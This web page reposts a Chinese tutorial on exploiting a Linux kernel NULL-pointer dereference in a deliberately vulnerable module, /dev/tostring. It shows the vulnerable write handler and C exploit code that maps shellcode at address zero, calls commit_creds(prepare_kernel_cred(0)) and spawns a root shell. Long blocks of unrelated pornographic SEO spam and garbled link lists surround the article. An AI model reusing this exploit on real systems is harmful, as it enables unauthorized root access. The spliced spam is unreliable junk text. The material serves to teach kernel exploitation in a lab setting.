精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

內核exploit——如何應對空指針異常現象

安全 網站安全
如果一個未初始化或零編號(zero-ed out)的指針被取消引用時,將會導致程序計數器/指令指針(PC/IP)指向0,從而導致內核崩潰!目前有一些內核結構,持有當前的進程權限。我們將嘗試利用權限來進行root,并在處理完這些后再追加一個shell命令。

什么是空指針異常?

如果一個未初始化或零編號(zero-ed out)的指針被取消引用時,將會導致程序計數器/指令指針(PC/IP)指向0,從而導致內核崩潰!

當遇到上述情況,首先需檢查是否啟用了任何保護程序,如果啟用了就將其全部關閉,包括管理員保護模式、數據執行保護模式(DEP / NX)以及mmap_min_addr保護機制。

ring0層與ring3層有所區別(Intel的CPU將特權級別分為4個級別:RING0、RING1、RING2、RING3。Windows只使用其中的兩個級別RING0和RING3,RING0只給操作系統用,RING3誰都能用)。由于計算機使用二進制,因此在ring3層操作過程中,我們僅需要關注如何追加一個shell命令,我們需要這個時間來修改權限。慶幸的是,目前仍存在一些內核結構,持有當前的進程權限。我們將嘗試利用權限來進行root,并在處理完這些后再追加一個shell命令。

如何提升權限?

在進行提升權限操作前,我們需要知道我們需要做哪些事情:

每個進程信息都存儲為一個進程描述符(task_struct)

下列是sched.h文件:

  1. struct task_struct { 
  2. /* ... */ 
  3. /* Process credentials: */ 
  4. /* Tracer's credentials at attach: */ 
  5. const struct cred __rcu *ptracer_cred; 
  6. /* Objective and real subjective task credentials (COW): */ 
  7. const struct cred __rcu *real_cred; 
  8. /* Effective (overridable) subjective task credentials (COW): */ 
  9. const struct cred __rcu *cred; 
  10. /* ... */ 
  11. 下列是cred.h文件: 
  12. struct cred { 
  13. /* ... */ 
  14. kuid_tuid;/* real UID of the task */ 
  15. kgid_tgid;/* real GID of the task */ 
  16. kuid_tsuid;/* saved UID of the task */ 
  17. kgid_tsgid;/* saved GID of the task */ 
  18. kuid_teuid;/* effective UID of the task */ 
  19. kgid_tegid;/* effective GID of the task */ 
  20. /* ... */ 

下面我們將主要關注有效的用戶身份證明(UID)任務。如果我們成功將其值設置為0,則當前任務將具有root權限!

我們應該如何找到他們?

可以利用一些內核符號。

一些功能可用于提升當前的進程權限,它們的地址是靜態的,可以根據我們處理的內核重新生成:

  1. /proc/kallsyms, /proc/ksyms, /dev/ksyms.. 

上述這些函數在cred.c.中。

  1. extern int commit_creds(struct cred *); 
  2. /* ... */ 
  3. extern struct cred *prepare_kernel_cred(struct task_struct *); 

我們可以看到,prepare_kernel_cred()函數的返回值類型為struct cred *,之后再以此作為參數傳遞給commit_creds(),這樣就可以將我們新獲得的權限分配給當前的進程!

結論:可以通過“commit_creds(prepare_kernel_cred(0))”命令來提升權限;

了解漏洞并學會觸發這些漏洞

在進行內核開發前,我們需要知道如何觸發漏洞,還需要知道在什么情況下指針會被取消。

[[207671]]

解決內核威脅問題

我們首先需要檢查保護程序

解決內核威脅問題

如上圖所示,所有的保護措施都出于關閉狀態。

在“tostring_write()”函數里,我們可以看到這些命令應該始終以10'*'開頭。

當這個內核模塊被加載時,它會在每次運行時啟動結構,每次運行都會啟動一次。

如上圖所示,我們不難發現這會啟動“tostring_create()”。當在“tostring_s struct!”下設置函數指針時,該功能就會響應

這一點非常重要,請謹記于心!因此,這兩個指針在每次運行時都被設置一次(或者需要的話)。

現在我們輕易地就能辨認出漏洞的函數,如下所示:

  1. static ssize_t tostring_write(struct file *f, const char __user *buf,size_t len, loff_t *off) 
  2. char *bufk; 
  3. int i,j; 
  4. printk(KERN_INFO "Tostring: write()\n"); 
  5. bufk = kmalloc(len + 1, GFP_DMA); 
  6. if (bufk){ 
  7. if (copy_from_user(bufk, buf, len)) 
  8.     return -EFAULT; 
  9. bufk[len] = '\0'; 
  10. i=0
  11. while(i <len) { 
  12.   for (j=0;(j<10) && (bufk[j]=='*');j++); 
  13.   if (j == 10) { 
  14.     for (j=i+10;(bufk[j]!='\0') && (bufk[j] != '\n');j++); 
  15.     bufk[j]='\0'; 
  16.     printk("Tostring: Cmd %s\n",bufk+i+10); 
  17.     switch(bufk[i+10]) { 
  18.     case 'H': 
  19.       tostring->tostring_readtostring_read_hexa
  20.       break; 
  21.     case 'D': 
  22.       tostring->tostring_readtostring_read_dec
  23.       break; 
  24.     case 'S': 
  25.       printk("Tostring: Delete stack\n"); 
  26.       kfree(tostring->tostring_stack); 
  27.       tostring->tostring_stack=NULL
  28.       tostring->tostring_read=NULL
  29.       tostring->pointer=0
  30.       tostring->pointer_max=0
  31.       break; 
  32.     case 'N': 
  33.       printk("Tostring: Stack create with size %ld\n",local_strtoul(bufk+i+11,NULL,10)); 
  34.       if (tostring->tostring_stack==NULL) tostring_create(local_strtoul(bufk+i+11,NULL,10)); 
  35.       if (tostring->tostring_stack==NULL) printk("Tostring: Error, impossible to create stack\n"); 
  36.       break; 
  37.     } 
  38.     i=j+1; 
  39.   } 
  40.   else { 
  41.     printk("tostring: insertion %lld\n",*((long long int *) (bufk+i))); 
  42.     if (tostring->pointer >= tostring->pointer_max) 
  43.       printk(KERN_INFO "Tostring: Stack full\n"); 
  44.     else 
  45.       tostring->tostring_stack[(tostring->pointer)++]= *((long long int *) (bufk+i)); 
  46.     ii = i+sizeof(long long int); 
  47.   } 
  48. kfree(bufk); 
  49. return len; 

正如我們所見,在“ten '*'”后會出現一個“S”。這就會使函數指針tostring_read無效,而這一點對我們有力。

但是,在將其設置為null之后,我們需要讀取它,以使其被取消引用。因此,我們需要讀取該文件,以觸發啟用“tostring_read()!”命令。

http://p8.qhimg.com/t013e67bd64133d02e9.png

我們開始編寫開發程序。我們之前使用Python語言進行編寫,現在我們換成C語言。

我們先寫一個較為簡單的以觸發命令和清除函數指針。

  1. #include <stdio.h> 
  2. #include <string.h> 
  3. #include <stdlib.h> 
  4. #include <sys/mman.h> 
  5. #include <fcntl.h> 
  6. /**/ 
  7. #define vulnerable_device "/dev/tostring" 
  8. /**/ 
  9. void main(void){ 
  10. int fd; 
  11. char payload[15]; 
  12. /**/ 
  13. memset(payload, '*', 10); 
  14. /**/ 
  15. payload[10] = 'S'; 
  16. payload[11] = 0; 
  17. /**/ 
  18. fd = open(vulnerable_device, O_RDWR); 
  19. if(fd < 0){ 
  20. printf("Couldn't open device!"); 
  21. /**/ 
  22. write(fd, payload, 12); 

目前一切都比較順利,但我們仍需通過讀取文件使其取消引用。

  1. read(fd, 0, 1) 

我們做到了,我們將其IP指針設置為0

幸運的是,mmap_min_addr保護處于關閉狀態。 我們可以在NULL中分配一個小區域,并放置我們的shellcode來提升權限。

現在就可以從“/proc/kallsyms!”中獲得“prepare_kernel_cred”和“commit_creds”地址。

http://p3.qhimg.com/t015c9180be49718961.png

我將使用rasm2做一個shellcode:

以下是shellcode:

在我們的開發程序中取消指針前,我們就可以開始添加shellcode:

  1. #include <stdio.h> 
  2. #include <string.h> 
  3. #include <stdlib.h> 
  4. #include <sys/mman.h> 
  5. #include <fcntl.h> 
  6. /**/ 
  7. #define vulnerable_device "/dev/tostring" 
  8. /**/ 
  9. void pop_shell(){ 
  10. system("sh"); 
  11. /**/ 
  12. void main(void){ 
  13. int fd; 
  14. char payload[15]; 
  15. char shellcode[15] = "\x31\xc0\xe8\xe9\x11\x07\xc1\xe8\x74\x0e\x07\xc1\xc3"; 
  16. /**/ 
  17. memset(payload, '*', 10); 
  18. /**/ 
  19. payload[10] = 'S'; 
  20. payload[11] = 0; 
  21. /**/ 
  22. fd = open(vulnerable_device, O_RDWR); 
  23. if(fd < 0){ 
  24. printf("Couldn't open device!"); 
  25. write(fd, payload, 12); 
  26. /**/ 
  27. mmap(NULL, sizeof(shellcode), PROT_EXEC |PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS |MAP_FIXED, -1, 0); 
  28. memcpy(NULL, shellcode, sizeof(shellcode)); 
  29. /**/ 
  30. read(fd, 0, 1); 
  31. /**/ 
  32. pop_shell(); 

在完成后,開始運行

以下是root shell

https://s5.51cto.com/oss/201710/25/87a7925d8110979ef1b53d535e43e1d6.png

希望文章能對大家有所啟發和幫助!

責任編輯:趙寧寧 來源: 安全客
相關推薦

2010-03-09 14:10:13

Python循環語句

2019-05-17 09:02:19

TCP協議服務端

2019-05-28 09:40:39

TCP協議socket接口

2010-02-23 18:05:40

WCF異常現象

2019-05-16 15:19:40

TCP協議TCP通信三次握手

2019-05-19 16:53:57

TCP協議TCP通信三次握手

2023-12-26 15:06:00

Linux內核轉儲

2022-02-25 23:54:43

人工智能數據計算

2015-12-02 10:09:05

霧霾數據中心

2018-08-16 08:40:50

空氣污染物聯網IOT

2014-03-13 16:59:11

獨立開發者刷榜排名

2015-07-30 10:12:32

JavaNullAssert

2023-09-14 13:13:35

DNA千年外星人

2009-12-01 18:43:33

2013-07-11 09:51:15

2012-02-28 09:57:32

機房空調

2009-05-14 15:13:29

2015-07-27 11:34:03

Linux內核指針

2009-03-09 11:01:34

2010-09-01 10:00:31

點贊
收藏

51CTO技術棧公眾號

国产一二在线观看| 九九热在线免费观看| 日本一区影院| 亚洲午夜激情网页| 精品无码久久久久国产| 色婷婷av国产精品| 久久精品国内一区二区三区水蜜桃| 日韩视频一区在线观看| 国产 福利 在线| 欧美成人三区| 久久中文字幕电影| 国产精品自拍偷拍| 国产精品7777777| 99re66热这里只有精品8| 精品久久久久久久久久久久久久久 | 隣の若妻さん波多野结衣| 亚洲欧美日韩综合国产aⅴ| 少妇精69xxtheporn| 国产麻豆剧传媒精品国产av| 欧美高清你懂的| 午夜精品视频一区| 熟女熟妇伦久久影院毛片一区二区| 天天操天天插天天射| 国内精品不卡在线| 国产精品r级在线| 91久久国产视频| 欧美高清日韩| 久久精品国产91精品亚洲| 久久国产精品影院| 成人av综合网| 4438x成人网最大色成网站| 最近免费中文字幕中文高清百度| bl视频在线免费观看| 中文字幕av一区二区三区| 精品久久sese| 欧美一级淫片免费视频魅影视频| 久久99精品久久久久久| 国产精品www网站| 性无码专区无码| 亚洲伦伦在线| 97国产精品人人爽人人做| 欧美成人精品欧美一级私黄| 外国成人激情视频| 丝袜亚洲另类欧美重口| x88av在线| 欧美系列电影免费观看| 亚洲午夜未删减在线观看 | 久久精品午夜福利| 在线播放高清视频www| 亚洲激情av在线| 成人手机在线播放| 婷婷色在线资源| 一区二区三区四区视频精品免费 | 久久精品视频在线播放| 国产精品18在线| 91综合久久| 久久午夜a级毛片| 男人与禽猛交狂配| 国产一区视频在线观看免费| 欧美肥臀大乳一区二区免费视频| 蜜臀久久精品久久久用户群体| 希岛爱理av一区二区三区| 久久久999精品| 欧美日韩精品亚洲精品| 国内综合精品午夜久久资源| 97香蕉久久超级碰碰高清版 | 丝袜诱惑制服诱惑色一区在线观看| 97超级碰碰碰久久久| av图片在线观看| 日本成人在线一区| 91久久精品国产91久久性色| 一区二区三区黄色片| 国产一区二区三区在线观看精品| 97在线电影| 亚州男人的天堂| 国产拍欧美日韩视频二区| 一区二区不卡在线观看| 怡红院红怡院欧美aⅴ怡春院| 亚洲尤物在线视频观看| 成人av一级片| 欧美aaaaaa| 欧美精品一区二区三区蜜臀| 国产a级黄色片| 国产精品一区二区av日韩在线| 日韩在线欧美在线国产在线| 久草视频在线资源站| 99人久久精品视频最新地址| 国产精品九九久久久久久久| 国产巨乳在线观看| www.av亚洲| 亚洲砖区区免费| 99热99re6国产在线播放| 欧美在线免费视屏| 国产精品91av| 成人91在线| 欧美精品第一页在线播放| 中文字幕免费观看| 国产精品亚洲а∨天堂免在线| 久久久久久久有限公司| 精品国产99久久久久久| 欧美午夜片欧美片在线观看| 小早川怜子一区二区三区| 精品少妇3p| 啊v视频在线一区二区三区| 亚洲欧美在线观看视频| 蜜桃91丨九色丨蝌蚪91桃色| 国产精品乱码一区二区三区| jizz日韩| 日韩欧美黄色动漫| 亚洲精品乱码久久久久久9色| 伊人精品一区| 欧美日韩国产成人在线观看| 国产无遮挡又黄又爽又色视频| 国产精品一二三四五| 日本高清不卡一区二区三| 在线观看免费视频你懂的| 在线免费亚洲电影| 亚洲制服丝袜在线播放| 欧美黄在线观看| 91精品国产自产在线老师啪| 日av在线播放| 亚洲成av人片在线观看无码| 1314成人网| 欧美国产一级| 国产精品久久视频| 日本免费不卡| 午夜伦欧美伦电影理论片| 色婷婷.com| blacked蜜桃精品一区| 午夜精品久久久久久99热| 精品人妻一区二区三区麻豆91 | 大西瓜av在线| 日韩免费精品| 米奇精品一区二区三区在线观看| 69av视频在线观看| 久久日一线二线三线suv| 国产真人做爰毛片视频直播| 亚洲精品一区国产| 伦伦影院午夜日韩欧美限制| 亚洲无码精品在线播放| 国产清纯白嫩初高生在线观看91| 日韩 欧美 高清| 女人丝袜激情亚洲| 日本高清+成人网在线观看| 神宫寺奈绪一区二区三区| 亚洲成人综合在线| 欧美xxxxx少妇| 亚洲三级影院| 久久成人资源| 六月婷婷综合| 亚洲欧美国产日韩天堂区| 国产三级精品三级在线观看| 久久精品一区二区三区不卡牛牛| 男人亚洲天堂网| 国产欧美日韩影院| 国产精品久在线观看| 日本美女高清在线观看免费| 欧美精品一卡二卡| 欧美在线视频第一页| 国产成人精品免费视频网站| 国产精品无码免费专区午夜| 9999久久久久| 57pao成人国产永久免费| 精品欧美不卡一区二区在线观看| 色视频一区二区| 九九热久久免费视频| 黑人巨大精品欧美一区| www国产免费| 久久草在线视频| 日本国产高清不卡| 91亚洲精选| 日韩一二在线观看| 精品在线播放视频| 久久久99精品免费观看| 三区视频在线观看| 亚洲视频福利| 国产一区福利视频| 日韩av一级| 久久香蕉频线观| 神马久久久久| 欧美精品少妇一区二区三区| 久久久久香蕉视频| 久久久久久亚洲综合| 91视频这里只有精品| 亚洲天堂男人| 台湾成人av| 一级毛片精品毛片| 国产成人短视频| av文字幕在线观看| 日韩精品一二三四区| 亚洲综合精品国产一区二区三区| 一区二区三区美女| 少妇久久久久久久久久| 国产一区不卡在线| 男人亚洲天堂网| 国产综合激情| 日韩一区国产在线观看| 亚洲精品18| 国产精品无码专区在线观看| 9765激情中文在线| 日日狠狠久久偷偷四色综合免费| 免费观看a视频| 欧美日韩成人综合在线一区二区| 男人天堂中文字幕| 亚洲欧洲国产日本综合| 欧美色图亚洲激情| 国产精品亚洲专一区二区三区| 91精品91久久久中77777老牛| 亚洲啊v在线观看| 日本在线成人一区二区| 91成人精品在线| 91精品久久久久久久久久久| 9i看片成人免费高清| 久久久久久91香蕉国产| 在线免费看a| 亚洲欧美国产一本综合首页| 黄色成人一级片| 欧美大胆人体bbbb| 91国产精品一区| 91久久精品一区二区三| 日本在线视频免费| 亚洲精品免费电影| 少妇高潮在线观看| 国产女人aaa级久久久级| 国产精品久久不卡| 国产成人精品免费| 久久久久久国产精品日本| 九色综合狠狠综合久久| 密臀av一区二区三区| 亚洲免费中文| 春日野结衣av| 国产一区二区三区久久久久久久久| 日韩精品手机在线观看| 888久久久| 熟女熟妇伦久久影院毛片一区二区| 国产一区二区三区四区大秀| 乱色588欧美| 台湾色综合娱乐中文网| 国产精品手机在线| 国产精品天天看天天狠| 91精品视频在线看| 精品一区二区三区四区五区 | 草莓视频一区二区三区| 91丨九色丨国产| 国产午夜亚洲精品一级在线| 91麻豆国产精品| 国产精品久久免费视频| 91久久在线视频| 视频精品一区| 国产精品免费观看高清| 大香伊人久久精品一区二区| 国产欧美日韩综合精品二区| 免费看久久久| 欧美一级日本a级v片| 国产精品一区高清| 亚洲综合av一区| 在线成人激情| 精品无码国产一区二区三区av| 在线不卡欧美| 红桃av在线播放| 欧美aⅴ一区二区三区视频| 向日葵污视频在线观看| 精品一区二区三区视频 | 在线观看污污网站| 欧美色爱综合网| aaa国产视频| 亚洲精美色品网站| 欧美成人片在线| 色妞一区二区三区| 怡红院在线观看| 欧美在线亚洲在线| 国产亚洲欧美日韩精品一区二区三区 | 亚洲人在线视频| 在线视频自拍| 国模吧一区二区| av激情成人网| 999热视频| 自拍亚洲一区| 亚洲精品偷拍视频| 亚洲少妇在线| 一起操在线视频| 成人午夜av在线| 永久免费av无码网站性色av| 亚洲女同女同女同女同女同69| av资源吧首页| 欧美日韩一区二区三区四区五区| 国产成人三级一区二区在线观看一| 日韩av在线不卡| 乱人伦中文视频在线| 91精品国产乱码久久久久久久久 | 色欲狠狠躁天天躁无码中文字幕| 亚洲视频你懂的| 亚洲天堂日韩av| 欧美精品777| 手机看片福利在线观看| 久久精品中文字幕一区| 欧美调教sm| 91青草视频久久| 国产欧美日韩| 亚洲 自拍 另类小说综合图区| 日本女人一区二区三区| 2一3sex性hd| 亚洲欧美日韩电影| 国产第一页在线观看| 精品国产凹凸成av人导航| 老司机精品影院| 国产97在线亚洲| 高清精品视频| 波多野结衣 作品| 另类成人小视频在线| 中文字幕xxx| 亚洲国产中文字幕| 999av视频| 日韩中文字幕av| 欧美舌奴丨vk视频| 精品国产一区二区三| 午夜久久久久| 中文字幕亚洲影院| 国产日产精品一区| 免费av网站在线| 亚洲精品美女在线观看播放| 日本伦理一区二区| 成人在线播放av| 久久综合99| 九一精品在线观看| 久久天天做天天爱综合色| 国产无套内射又大又猛又粗又爽| 欧美嫩在线观看| 噜噜噜噜噜在线视频| 97色在线播放视频| 9l亚洲国产成人精品一区二三| 熟女视频一区二区三区| 久久99九九99精品| 极品尤物一区二区| 欧美丝袜丝交足nylons图片| 国产精品免费观看| 国产91精品最新在线播放| 亚洲视频分类| 国产精品-区区久久久狼| 91色在线porny| 精品成人av一区二区在线播放| 精品国产百合女同互慰| 9765激情中文在线| 久久99精品久久久水蜜桃| 99国产精品久久久久久久成人热| 青青草视频网站| 黄色成人在线播放| 亚洲日本香蕉视频| 国产91精品在线播放| re久久精品视频| 色婷婷一区二区三区av免费看| 最新久久zyz资源站| 国产精品久久影视| 欧美大片免费观看在线观看网站推荐 | 最近高清中文在线字幕在线观看| 国产精品久久久久久久7电影| 成人av动漫在线观看| 激情文学亚洲色图| 亚洲一区二区三区四区五区黄| 欧美一级淫片免费视频魅影视频| 91av福利视频| 成人情趣视频网站| 亚洲第一天堂久久| 午夜婷婷国产麻豆精品| 国产精品影院在线| 91香蕉亚洲精品| 99视频精品| 国产三级短视频| 欧美一区二区久久久| 24小时免费看片在线观看| 欧美日韩成人一区二区三区 | 亚洲三级观看| 日本黄色小视频在线观看| 6080yy午夜一二三区久久| 黄色成人在线网| 欧美性bbwbbwbbwhd| 极品少妇xxxx精品少妇| 国产精品suv一区二区69| 亚洲区在线播放| 欧美9999| 黄色a级片免费| 亚洲精品乱码久久久久| 天堂av在线资源| 成人黄色短视频在线观看| 亚洲美洲欧洲综合国产一区| 国产精品成人无码免费| 精品对白一区国产伦| 欧美中文字幕精在线不卡| 国产免费xxx| 久久久99精品久久| 国产激情视频在线播放| 国产成人av网| 欧美日本一区二区高清播放视频| 中文字幕天堂网| 91精品啪在线观看国产60岁| jizz内谢中国亚洲jizz| 一区二区三区四区免费观看| 久久综合国产精品| 超碰免费在线97| 国产精品成人va在线观看|